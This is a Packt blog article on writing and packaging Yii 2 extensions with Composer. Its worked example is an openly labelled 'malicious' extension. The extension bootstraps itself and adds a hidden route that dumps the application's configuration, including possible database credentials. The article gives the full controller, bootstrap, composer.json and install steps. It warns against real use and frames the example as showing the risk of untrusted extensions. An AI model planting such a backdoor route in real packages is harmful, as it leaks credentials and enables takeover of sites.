Search icon CANCEL
Subscription
0
Cart icon
Your Cart (0 item)
Close icon
You have no products in your basket yet
Save more on your purchases! discount-offer-chevron-icon
Savings automatically calculated. No voucher code required.
Arrow left icon
All Products
Best Sellers
New Releases
Books
Videos
Audiobooks
Learning Hub
Newsletter Hub
Free Learning
Arrow right icon
timer SALE ENDS IN
0 Days
:
00 Hours
:
00 Minutes
:
00 Seconds

Creating an Extension in Yii 2

Save for later
  • 22 min read
  • 24 Sep 2014

article-image

In this article by Mark Safronov, co-author of the book Web Application Development with Yii 2 and PHP, we we'll learn to create our own extension using a simple way of installation.

There is a process we have to follow, though some preparation will be needed to wire up your classes to the Yii application. The whole article will be devoted to this process.

(For more resources related to this topic, see here.)

Extension idea

So, how are we going to extend the Yii 2 framework as an example for this article? Let's become vile this time and make a malicious extension, which will provide a sort of phishing backdoor for us.

Never do exactly the thing we'll describe in this article! It'll not give you instant access to the attacked website anyway, but a skilled black hat hacker can easily get enough information to achieve total control over your application.

The idea is this: our extension will provide a special route (a controller with a single action inside), which will dump the complete application configuration to the web page. Let's say it'll be reachable from the route /app-info/configuration.

We cannot, however, just get the contents of the configuration file itself and that too reliably. At the point where we can attach ourselves to the application instance, the original configuration array is inaccessible, and even if it were accessible, we can't be sure about where it came from anyway. So, we'll inspect the runtime status of the application and return the most important pieces of information we can fetch at the stage of the controller action resolution. That's the exact payload we want to introduce.

public function actionConfiguration()
    {
        $app = Yii::$app;
        $config = [
            'components' => $app->components,
            'basePath' => $app->basePath,
            'params' => $app->params,
            'aliases' => Yii::$aliases
        ];
        return yiihelpersJson::encode($config);
    }

The preceding code is the core of the extension and is assumed in the following sections.

In fact, if you know the value of the basePath setting of the application, a list of its aliases, settings for the components (among which the DB connection may reside), and all custom parameters that developers set manually, you can map the target application quite reliably. Given that you know all the credentials this way, you have an enormous amount of highly valuable information about the application now. All you need to do now is make the user install this extension.

Creating the extension contents

Our plan is as follows:

We will develop our extension in a folder, which is different from our example CRM application.

This extension will be named yii2-malicious, to be consistent with the naming of other Yii 2 extensions.

Given the kind of payload we saw earlier, our extension will consist of a single controller and some special wiring code (which we haven't learned about yet) to automatically attach this controller to the application.

Finally, to consider this subproject a true Yii 2 extension and not just some random library, we want it to be installable in the same way as other Yii 2 extensions.

Preparing the boilerplate code for the extension

Let's make a separate directory, initialize the Git repository there, and add the AppInfoController to it. In the bash command line, it can be achieved by the following commands:

$ mkdir yii2-malicious && cd $_
$ git init
$ > AppInfoController.php

Inside the AppInfoController.php file, we'll write the usual boilerplate code for the Yii 2 controller as follows:

namespace malicious;
use yiiwebController;
class AppInfoController extends Controller
{
// Action here
}

Put the action defined in the preceding code snippet inside this controller and we're done with it. Note the namespace: it is not the same as the folder this controller is in, and this is not according to our usual auto-loading rules. We will explore later in this article that this is not an issue because of how Yii 2 treats the auto-loading of classes from extensions.

Now this controller needs to be wired to the application somehow. We already know that the application has a special property called controllerMap, in which we can manually attach controller classes. However, how do we do this automatically, better yet, right at the application startup time? Yii 2 has a special feature called bootstrapping to support exactly this: to attach some activity at the beginning of the application lifetime, though not at the very beginning but before handling the request for sure. This feature is tightly related to the extensions concept in Yii 2, so it's a perfect time to explain it.

FEATURE – bootstrapping

To explain the bootstrapping concept in short, you can declare some components of the application in the yiibaseApplication::$bootstrap property. They'll be properly instantiated at the start of the application. If any of these components implement the BootstrapInterface interface, its bootstrap() method will be called, so you'll get the application initialization enhancement for free. Let's elaborate on this.

The yiibaseApplication::$bootstrap property holds the array of generic values that you tell the framework to initialize beforehand. It's basically an improvement over the preload concept from Yii 1.x. You can specify four kinds of values to initialize as follows:

  • The ID of an application component
  • The ID of some module
  • A class name
  • A configuration array

If it's the ID of a component, this component is fully initialized. If it's the ID of a module, this module is fully initialized. It matters greatly because Yii 2 has lazy loading employed on the components and modules system, and they are usually initialized only when explicitly referenced. Being bootstrapped means to them that their initialization, regardless of whether it's slow or resource-consuming, always happens, and happens always at the start of the application.

If you have a component and a module with identical IDs, then the component will be initialized and the module will not be initialized!

If the value being mentioned in the bootstrap property is a class name or configuration array, then the instance of the class in question is created using the yiiBaseYii::createObject() facility. The instance created will be thrown away immediately if it doesn't implement the yiibaseBootstrapInterface interface. If it does, its bootstrap() method will be called. Then, the object will be thrown away.

So, what's the effect of this bootstrapping feature? We already used this feature while installing the debug extension. We had to bootstrap the debug module using its ID, for it to be able to attach the event handler so that we would get the debug toolbar at the bottom of each page of our web application. This feature is indispensable if you need to be sure that some activity will always take place at the start of the application lifetime.

The BootstrapInterface interface is basically the incarnation of a command pattern. By implementing this interface, we gain the ability to attach any activity, not necessarily bound to the component or module, to the application initialization.

FEATURE – extension registering

The bootstrapping feature is repeated in the handling of the yiibaseApplication::$extensions property. This property is the only place where the concept of extension can be seen in the Yii framework. Extensions in this property are described as a list of arrays, and each of them should have the following fields:

  • name: This field will be with the name of the extension.
  • version: This field will be with the extension's version (nothing will really check it, so it's only for reference).
  • bootstrap: This field will be with the data for this extension's Bootstrap. This field is filled with the same elements as that of Yii::$app->bootstrap described previously and has the same semantics.
  • alias: This field will be with the mapping from Yii 2 path aliases to real directory paths.

When the application registers the extension, it does two things in the following order:

  1. It registers the aliases from the extension, using the Yii::setAlias() method.
  2. It initializes the thing mentioned in the bootstrap of the extension in exactly the same way we described in the previous section.

    Note that the extensions' bootstraps are processed before the application's bootstraps.

Registering aliases is crucial to the whole concept of extension in Yii 2. It's because of the Yii 2 PSR-4 compatible autoloader.

Here is the quote from the documentation block for the yiiBaseYii::autoload() method:

If the class is namespaced (e.g. yiibaseComponent), it will attempt to include the file associated with the corresponding path alias (e.g. @yii/base/Component.php).

This autoloader allows loading classes that follow the PSR-4 standard and have its top-level namespace or sub-namespaces defined as path aliases.

The PSR-4 standard is available online at http://www.php-fig.org/psr/psr-4/.

Given that behavior, the alias setting of the extension is basically a way to tell the autoloader the name of the top-level namespace of the classes in your extension code base. Let's say you have the following value of the alias setting of your extension:

"alias" => [
"@companyname/extensionname" => "/some/absolute/path"
]

If you have the /some/absolute/path/subdirectory/ClassName.php file, and, according to PSR-4 rules, it contains the class whose fully qualified name is companynameextensionnamesubdirectoryClassName, Yii 2 will be able to autoload this class without problems.

Making the bootstrap for our extension – hideous attachment of a controller

We have a controller already prepared in our extension. Now we want this controller to be automatically attached to the application under attack when the extension is processed. This is achievable using the bootstrapping feature we just learned. Let's create the maliciousBootstrap class for this cause inside the code base of our extension, with the following boilerplate code:

<?php
namespace malicious;
use yiibaseBootstrapInterface;
class Bootstrap implements BootstrapInterface
{
/** @param yiiwebApplication $app */
public function bootstrap($app)
{
// Controller addition will be here.
}
}

With this preparation, the bootstrap() method will be called at the start of the application, provided we wire everything up correctly. But first, we should consider how we manipulate the application to make use of our controller. This is easy, really, because there's the yiiwebApplication::$controllerMap property (don't forget that it's inherited from yiibaseModule, though).

We'll just do the following inside the bootstrap() method:

$app->controllerMap['app-info'] = 'maliciousAppInfoController';

We will rely on the composer and Yii 2 autoloaders to actually find maliciousAppInfoController.

Just imagine that you can do anything inside the bootstrap. For example, you can open the CURL connection with some botnet and send the accumulated application information there. Never believe random extensions on the Web.

This actually concludes what we need to do to complete our extension.

All that's left now is to make our extension installable in the same way as other Yii 2 extensions we were using up until now. If you need to attach this malicious extension to your application manually, and you have a folder that holds the code base of the extension at the path /some/filesystem/path, then all you need to do is to write the following code inside the application configuration:

 'extensions' => array_merge(
(require __DIR__ . '/../vendor/yiisoft/extensions.php'),
[
'maliciousapp-info' => [
'name' => 'Application Information Dumper',
'version' => '1.0.0',
'bootstrap' => 'maliciousBootstrap',
'alias' => ['@malicious' =>
'/some/filesystem/path']
// that's the path to extension
]
]
)

Please note the exact way of specifying the extensions setting. We're merging the contents of the extensions.php file supplied by the Yii 2 distribution from composer and our own manual definition of the extension. This extensions.php file is what allows Yiisoft to distribute the extensions in such a way that you are able to install them by a simple, single invocation of a require composer command. Let's learn now what we need to do to repeat this feature.

Making the extension installable as... erm, extension

First, to make it clear, we are talking here only about the situation when Yii 2 is installed by composer, and we want our extension to be installable through the composer as well.

This gives us the baseline under all of our assumptions. Let's see the extensions that we need to install:

  • Gii the code generator
  • The Twitter Bootstrap extension
  • The Debug extension
  • The SwiftMailer extension

We can install all of these extensions using composer. We introduce the extensions.php file reference when we install the Gii extension. Have a look at the following code:

'extensions' => (require __DIR__ . 
'/../vendor/yiisoft/extensions.php')

If we open the vendor/yiisoft/extensions.php file (given that all extensions from the preceding list were installed) and look at its contents, we'll see the following code (note that in your installation, it can be different):

<?php
$vendorDir = dirname(__DIR__);
return array (
'yiisoft/yii2-bootstrap' =>
array (
'name' => 'yiisoft/yii2-bootstrap',
'version' => '9999999-dev',
'alias' =>
array (
'@yii/bootstrap' => $vendorDir . '/yiisoft/yii2-bootstrap',
),
),
'yiisoft/yii2-swiftmailer' =>
array (
'name' => 'yiisoft/yii2-swiftmailer',
'version' => '9999999-dev',
'alias' =>
array (
'@yii/swiftmailer' => $vendorDir . '
/yiisoft/yii2-swiftmailer',
),
),
'yiisoft/yii2-debug' =>
array (
'name' => 'yiisoft/yii2-debug',
'version' => '9999999-dev',
'alias' =>
array (
'@yii/debug' => $vendorDir . '/yiisoft/yii2-debug',
),
),
'yiisoft/yii2-gii' =>
array (
'name' => 'yiisoft/yii2-gii',
'version' => '9999999-dev',
'alias' =>
array (
'@yii/gii' => $vendorDir . '/yiisoft/yii2-gii',
),
),
);

One extension was highlighted to stand out from the others. So, what does all this mean to us?

  • First, it means that Yii 2 somehow generates the required configuration snippet automatically when you install the extension's composer package
  • Second, it means that each extension provided by the Yii 2 framework distribution will ultimately be registered in the extensions setting of the application
  • Third, all the classes in the extensions are made available in the main application code base by the carefully crafted alias settings inside the extension configuration
  • Fourth, ultimately, easy installation of Yii 2 extensions is made possible by some integration between the Yii framework and the composer distribution system

The magic is hidden inside the composer.json manifest of the extensions built into Yii 2. The details about the structure of this manifest are written in the documentation of composer, which is available at https://getcomposer.org/doc/04-schema.md. We'll need only one field, though, and that is type.

Yii 2 employs a special type of composer package, named yii2-extension. If you check the manifests of yii2-debug, yii2-swiftmail and other extensions, you'll see that they all have the following line inside:

"type": "yii2-extension",

Normally composer will not understand that this type of package is to be installed. But the main yii2 package, containing the framework itself, depends on the special auxiliary yii2-composer package:

"require": {
… other requirements ...
"yiisoft/yii2-composer": "*",

This package provides Composer Custom Installer (read about it at https://getcomposer.org/doc/articles/custom-installers.md), which enables this package type.

The whole point in the yii2-extension package type is to automatically update the extensions.php file with the information from the extension's manifest file. Basically, all we need to do now is to craft the correct composer.json manifest file inside the extension's code base. Let's write it step by step.

Preparing the correct composer.json manifest

We first need a block with an identity. Have a look at the following lines of code:

"name": "malicious/app-info",
"version": "1.0.0",
"description": "Example extension which reveals important
information about the application",
"keywords": ["yii2", "application-info", "example-extension"],
"license": "CC-0",

Unlock access to the largest independent learning library in Tech for FREE!
Get unlimited access to 7500+ expert-authored eBooks and video courses covering every tech area you can think of.
Renews at $15.99/month. Cancel anytime

Technically, we must provide only name. Even version can be omitted if our package meets two prerequisites:

  • It is distributed from some version control system repository, such as the Git repository
  • It has tags in this repository, correctly identifying the versions in the commit history

And we do not want to bother with it right now.

Next, we need to depend on the Yii 2 framework just in case. Normally, users will install the extension after the framework is already in place, but in the case of the extension already being listed in the require section of composer.json, among other things, we cannot be sure about the exact ordering of the require statements, so it's better (and easier) to just declare dependency explicitly as follows:

"require": {
"yiisoft/yii2": "*"
},

Then, we must provide the type as follows:

"type": "yii2-extension",

After this, for the Yii 2 extension installer, we have to provide two additional blocks; autoload will be used to correctly fill the alias section of the extension configuration. Have a look at the following code:

"autoload": {
"psr-4": {
"malicious\": ""
}
},

What we basically mean is that our classes are laid out according to PSR-4 rules in such a way that the classes in the malicious namespace are placed right inside the root folder.

The second block is extra, in which we tell the installer that we want to declare a bootstrap section for the extension configuration:

"extra": {
"bootstrap": "malicious\Bootstrap"
},

Our manifest file is complete now. Commit everything to the version control system:

$ git commit -a -m "Added the Composer manifest file to repo"

Now, we'll add the tag at last, corresponding to the version we declared as follows:

$ git tag 1.0.0

We already mentioned earlier the purpose for which we're doing this. All that's left is to tell the composer from where to fetch the extension contents.

Configuring the repositories

We need to configure some kind of repository for the extension now so that it is installable.

The easiest way is to use the Packagist service, available at https://packagist.org/, which has seamless integration with composer. It has the following pro and con:

  • Pro: You don't need to declare anything additional in the composer.json file of the application you want to attach the extension to
  • Con: You must have a public VCS repository (either Git, SVN, or Mercurial) where your extension is published

In our case, where we are just in fact learning about how to install things using composer, we certainly do not want to make our extension public.

Do not use Packagist for the extension example we are building in this article.

Let's recall our goal. Our goal is to be able to install our extension by calling the following command at the root of the code base of some Yii 2 application:

$ php composer.phar require "malicious/app-info:*"

After that, we should see something like the following screenshot after requesting the /app-info/configuration route:

creating-extension-yii-2-img-0

This corresponds to the following structure (the screenshot is from the http://jsonviewer.stack.hu/ web service):

creating-extension-yii-2-img-1

Put the extension to some public repository, for example, GitHub, and register a package at Packagist. This command will then work without any preparation in the composer.json manifest file of the target application.

But in our case, we will not make this extension public, and so we have two options left for us.

The first option, which is perfectly suited to our learning cause, is to use the archived package directly. For this, you have to add the repositories section to composer.json in the code base of the application you want to add the extension to:

"repositories": [
// definitions of repositories for the packages required by this
application
]

To specify the repository for the package that should be installed from the ZIP archive, you have to grab the entire contents of the composer.json manifest file of this package (in our case, our malicious/app-info extension) and put them as an element of the repositories section, verbatim. This is the most complex way to set up the composer package requirement, but this way, you can depend on absolutely any folder with files (packaged into an archive).

Of course, the contents of composer.json of the extension do not specify the actual location of the extension's files. You have to add this to repositories manually. In the end, you should have the following additional section inside the composer.json manifest file of the target application:

"repositories": [
{
"type": "package",
"package": {
// … skipping whatever were copied verbatim from the composer.json
of extension...
"dist": {
"url": "/home/vagrant/malicious.zip", // example file
location
"type": "zip"
}
}
}
]

This way, we specify the location of the package in the filesystem of the same machine and tell the composer that this package is a ZIP archive. Now, you should just zip the contents of the yii2-malicious folder we have created for the extension, put them somewhere at the target machine, and provide the correct URL.

Please note that it's necessary to archive only the contents of the extension and not the folder itself.

After this, you run composer on the machine that really has this URL accessible (you can use http:// type of URLs, of course, too), and then you get the following response from composer:

creating-extension-yii-2-img-2

To check that Yii 2 really installed the extension, you can open the file vendor/yiisoft/extensions.php and check whether it contains the following block now:

'malicious/app-info' =>
array (
'name' => 'malicious/app-info',
'version' => '1.0.0.0',
'alias' =>
array (
'@malicious' => $vendorDir . '/malicious/app-info',
),
'bootstrap' => 'malicious\Bootstrap',
),

(The indentation was preserved as is from the actual file.) If this block is indeed there, then all you need to do is open the /app-info/configuration route and see whether it reports JSON to you. It should.

The pros and cons of the file-based installation are as follows:






Pros

Cons

You can specify any file as long as it is reachable by some URL. The ZIP archive management capabilities exist on virtually any kind of platform today.

There is too much work in the composer.json manifest file of the target application. The requirement to copy the entire manifest to the repositories section is overwhelming and leads to code duplication.

You don't need to set up any version control system repository. It's of dubious benefit though.

The manifest from the extension package will not be processed at all. This means that you cannot just strip the entry in repositories, leaving only the dist and name sections there, because the Yii 2 installer will not be able to get to the autoloader and extra sections.

The last method is to use the local version control system repository. We already have everything committed to the Git repository, and we have the correct tag placed here, corresponding to the version we declared in the manifest. This is everything we need to prepare inside the extension itself. Now, we need to modify the target application's manifest to add the repositories section in the same way we did previously, but this time we will introduce a lot less code there:

"repositories": [
{
"type": "git",
"url": "/home/vagrant/yii2-malicious/" // put your own URL
here
}
]

All that's needed from you is to specify the correct URL to the Git repository of the extension we were preparing at the beginning of this article. After you specify this repository in the target application's composer manifest, you can just issue the desired command:

$ php composer.phar require "malicious/app-info:1.0.0"

Everything will be installed as usual. Confirm the successful installation again by having a look at the contents of vendor/yiisoft/extensions.php and by accessing the /app-info/configuration route in the application.

The pros and con of the repository-based installation are as follows:

  • Pro: Relatively little code to write in the application's manifest.
  • Pro: You don't need to really publish your extension (or the package in general). In some settings, it's really useful, for closed-source software, for example.
  • Con: You still have to meddle with the manifest of the application itself, which can be out of your control and in this case, you'll have to guide your users about how to install your extension, which is not good for PR.

In short, the following pieces inside the composer.json manifest turn the arbitrary composer package into the Yii 2 extension:

  • First, we tell composer to use the special Yii 2 installer for packages as follows:
    "type": "yii2-extension"

  • Then, we tell the Yii 2 extension installer where the bootstrap for the extension (if any) is as follows:
    "extra": {"bootstrap": "<Fully qualified name>"}

  • Next, we tell the Yii 2 extension installer how to prepare aliases for your extension so that classes can be autoloaded as follows:
    "autoloader": {"psr-4": { "namespace": "<folder path>"}}

  • Finally, we add the explicit requirement of the Yii 2 framework itself in the following code, so we'll be sure that the Yii 2 extension installer will be installed at all:
    "require": {"yiisoft/yii2": "*"}

Everything else is the details of the installation of any other composer package, which you can read in the official composer documentation.

Summary

In this article, we looked at how Yii 2 implements its extensions so that they're easily installable by a single composer invocation and can be automatically attached to the application afterwards. We learned that this required some level of integration between these two systems, Yii 2 and composer, and in turn this requires some additional preparation from you as a developer of the extension.

We used a really silly, even a bit dangerous, example for extension. It was for three reasons:

  • The extension was fun to make (we hope)
  • We showed that using bootstrap mechanics, we can basically automatically wire up the pieces of the extension to the target application without any need for elaborate manual installation instructions
  • We showed the potential danger in installing random extensions from the Web, as an extension can run absolutely arbitrary code right at the application initialization and more than that, at each request made to the application

We have discussed three methods of distribution of composer packages, which also apply to the Yii 2 extensions. The general rule of thumb is this: if you want your extension to be publicly available, just use the Packagist service. In any other case, use the local repositories, as you can use both local filesystem paths and web URLs. We looked at the option to attach the extension completely manually, not using the composer installation at all.

Resources for Article:


Further resources on this subject: